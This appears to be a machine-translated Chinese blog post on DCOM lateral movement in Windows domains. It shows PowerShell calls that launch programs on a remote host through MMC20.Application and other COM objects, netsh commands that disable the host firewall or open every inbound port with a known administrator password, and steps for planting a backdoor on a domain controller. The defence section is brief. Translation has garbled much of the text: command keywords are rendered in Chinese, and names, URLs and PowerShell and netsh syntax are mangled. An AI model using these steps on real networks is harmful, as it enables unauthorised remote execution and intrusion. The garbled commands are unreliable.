发布于2022年11月8日3年前 0x00 前言 在以前的文章《在远程系统上执行程序的技术整理》 整理过域环境下常用的程序执行方法:at、psexec、WMIC、wmiexec、smbexec和powershell远程处理,这次将基于马特nelson@谜0x3的研究,详细介绍在域环境下使用DCOM执行程序的方法,分析相关攻防思路。 学习链接如下: https://谜0x 3。net/2017/01/05/lateral-movement-using-the-MMC 20-application-com-object/ https://谜0x 3。net/2017/01/23/横向移动-通过DCOM-第二轮/ 0x01 简介 本文将要介绍以下内容: DCOM使用介绍 实际利用思路 命令行配置防火墙的技巧 防御思路 0x02 DCOM使用介绍 相关基础知识暂略,关于DCOM的介绍可参考如下链接: https://msdn.microsoft.com/en-us/library/cc226801.aspx http://blog.csdn.net/ervinsas/article/details/36424127 本节主要选取马特nelson@谜0x3博客中的主要利用方法进行复现 获得DCOM的程序列表: powershell代码: get-CIM Win32 _ dco应用程序实例 注: Get-CimInstance只适用于Powershell 3.0及以上,Win7默认为2.0不支持,可使用以下替代命令: get-wmio对象-命名空间根\ CIM v2-Class Win32 _ dco应用程序 当然,直接使用wmic查询也可以,代码如下: wmic/NAMESPACE:"\ \ root \ CIM v2 "路径Win32 _ DCOM应用程序GET/all/FORMAT:list powershell对WMI的调用可使用wmic命令进行替换,详情可参考: https://3g学生。github。io/研究-WMI笔记-持久性-使用-wmic.exe 1、对本机测试 管理员权限,powershell代码如下: 获得MMC20 .'应用程序'支持的操作: $ com=[activator]:create instance([type]:GetTypeFromProgID(' MMC 20 .应用',' 127.0.0.1 ')) $com .文档。活动视图|获取成员 如下图 查看ExecuteShellCommand对应的参数说明: $com .文档。活动视图。executeshellcommand 如下图 ExecuteShellCommand对应的参数具体含义可参考以下链接: https://msdn。微软。com/en-us/library/aa 815396(v=vs . 85).aspx 通过ExecuteShellCommand执行程序: $ com=[activator]:create instance([type]:GetTypeFromProgID(' MMC 20 .应用',' 127.0.0.1 ')) $com .文档。活动视图。executeshellcommand(' cmd。',$null,'/c calc.exe ','最小化) 2、对远程系统测试 测试环境:域环境 客户:关闭防火墙 服务器:获得域主机内置帐户管理人员的口令,可净使用连接至客户 计算机网络服务器端管理员权限可选择执行如下powershell代码: 1.调用MMC20.Application $ com=[activator]:create instance([type]:GetTypeFromProgID(' MMC 20 .应用程序',' 192.168.0.2 ')) $com .文档。活动视图。executeshellcommand(' cmd。',$null,'/c calc.exe ','最小化) 操作如下图 Clinet端查看程序列表,启动的calc.exe用户名为测试2(客户端端当前登录用户为a),如下图 2.调用’9BA05972-F6A8-11CF-A442-00A0C90A8F39’ $ com=[Type]:GetTypeFromCLSID(' 9ba 05972-f6a 8-11CF-A442-00 a0c 90 A8 f 39 ',' 192.168.0.2 ') $obj=[System .activator]:创建实例($ com) $item=$obj.item() $item .文档。申请。外壳执行(' cmd。','/c calc.exe ',' c:\windows\system32 ',$null,0) Clinet端查看程序列表,启动的calc.exe用户名为一个(同客户端当前登录用户名相同),如下图 注: 以上两种方式适用于Win7-Win10 3.调用’C08AFD90-F2A1-11D1-8455-00A0C91F3880’ $ com=[Type]:GetTypeFromCLSID(' c 08 AFD 90-f2a 1-11 D1-8455-00 a0c 91 f 3880 ',' 192.168.0.2 ') $obj=[System .activator]:创建实例($ com) 一美元.文档。申请。外壳执行(' cmd。','/c calc.exe ',' c:\windows\system32 ',$null,0) 注: 该方法不适用于Win7,适用于Win10和Server2012 R2 0x03 实际利用思路 思路一:域环境未开启防火墙,直接使用 当然,需要获得域内置帐户管理人员的口令 方法不再赘述 思路二:默认开启防火墙,本地修改配置关闭防火墙 这样,其他主机就可以远程操作该主机,可分别通过以下方式实现 1、通过配置入站规则支持DCOM 命令行开启任意端口的代码如下: netsh防火墙防火墙添加规则名称='任何'协议=TCP目录=在本地端口=任何操作=允许 注: DCOM通信端口由RPC动态分配,并且不是固定的,因此入站端口规则被设置为any。 添加后,防火墙高级功能面板可以发现添加的入站规则,如下图所示 2、关闭防火墙功能 对应Windows防火墙的服务叫mpssvc。可以使用sc命令远程关闭防火墙服务,如下所示: 停止mpssvc 但是,关闭防火墙服务不能关闭防火墙功能。您需要使用以下命令来关闭防火墙功能: netsh advfirewall将当前配置文件状态设置为关闭 注: 打开防火墙功能的命令: netsh advfirewall将当前配置文件状态设置为on 3、通过防火墙配置文件设置入站规则 默认防火墙配置规则如下: 阻止不符合规则的入站连接。 允许不符合规则的出站连接。 如下图 修改规则以允许不符合规则的入站连接。该命令如下所示: netsh adv firewall set current profile firewall policy allow bound,allowoutbound 修改后,您可以通过高级面板看到修改后的配置,如下图所示 此时,防火墙状态报警,如下图所示 恢复防火墙配置的命令如下: netsh advfirewall设置当前配置文件防火墙策略阻止入站,允许出站 思路三:远程修改防火墙配置 您可以使用netsh远程配置防火墙规则。您需要知道用户名和密码,并且管理员权限执行以下命令: netsh-r 192 . 168 . 0 . 2-u TEST \ administrator-p域123!adv firewall set current profile firewall policy allow bound,allowoutbound 注: 对于当前配置文件(即域配置文件): netsh advfirewall设置当前配置文件设置远程管理启用 所有配置文件都可以使用: netsh advfirewall set allprofiles设置远程管理启用 错误报告如下: 试图连接到远程计算机时出错。确保 远程计算机上的Windows防火墙服务正在运行并已配置 请允许远程管理,然后再次尝试您的请求。 说明不允许远程计算机进行远程管理,远程计算机需要进行如下设置: 允许Windows防火墙远程管理 默认情况下不支持。选择一个勾号表示打开,如下图所示 注: 在本地管理员的许可下,可以通过命令行执行此操作: netsh advfirewall设置当前配置文件设置远程管理启用 当此功能打开时,其他主机可以远程管理本地防火墙配置: (管理员权限) netsh-r 192 . 168 . 0 . 2-u TEST \ administrator-p域123!advfirewall防火墙添加规则名称=' any ' protocol=TCP dir=in local port=any action=allow 如下图 综上所述,在域控制中使用DCOM远程执行程序的思路如下: 1、获取域控权限 包括域控制内置账号管理员的密码,如果域控制防火墙关闭,可以直接远程执行程序。 注: 如果要使用其他账号远程连接,需要先通过dcomcnfg.exe进入COM安全,激活用户的远程启动和远程激活属性。 2、预置后门 如果域控制器打开防火墙,并且不能直接使用DCOM进行远程执行,它需要权限来远程修改防火墙配置。此权限可以通过设置“允许Windows防火墙远程管理”来获得(默认情况下系统是关闭的)。 此操作要求3389连接到域控制器或使用其他方法在域控制器主机上执行代码。管理员的权限是执行: netsh advfirewall设置当前配置文件设置远程管理启用 3、远程打开端口 使用netsh远程修改域控制防火墙规则并打开端口。 netsh-r 192 . 168 . 0 . 2-u TEST \ administrator-p域123!advfirewall防火墙添加规则名称=' any ' protocol=TCP dir=in local port=any action=allow 4、远程执行 使用net use远程连接,然后执行以下powershell代码: $ com=[Type]:GetTypeFromCLSID(' 9ba 05972-f6a 8-11CF-A442-00 a0c 90 A8 f 39 ',' 192.168.0.2 ') $obj=[System。activator]:create instance($ com) $item=$obj.item() $item。document . application . shell execute(' cmd . exe ','/c calc.exe ',' c:\windows\system32 ',$null,0) 注: 选择' 9ba 05972-f6a 8-11cf-a442-00a 0 c 90 A8 f 39 ',执行程序的用户名为当前登录用户。 5、远程恢复域控防火墙设置 netsh-r 192 . 168 . 0 . 2-u TEST \ administrator-p域123!advfirewall防火墙删除规则名称='any ' 0x04 防御 要使用DCOM远程执行程序,只需打开防火墙。 您还可以禁用内置帐户管理员对COM的远程启动和远程激活权限。该命令如下所示: dcomcnfg.exe 打开组件服务-我的电脑-属性-COM安全-启动和激活权限-编辑默认值,如下图所示。 当然也可以通过抓包来分析特征。 0x05 小结 本文分析了用DCOM执行程序的方法。最后,我要感谢马特nelson@ enigma0x 3分享他的文章。 留下回复
创建帐户或登录后发表意见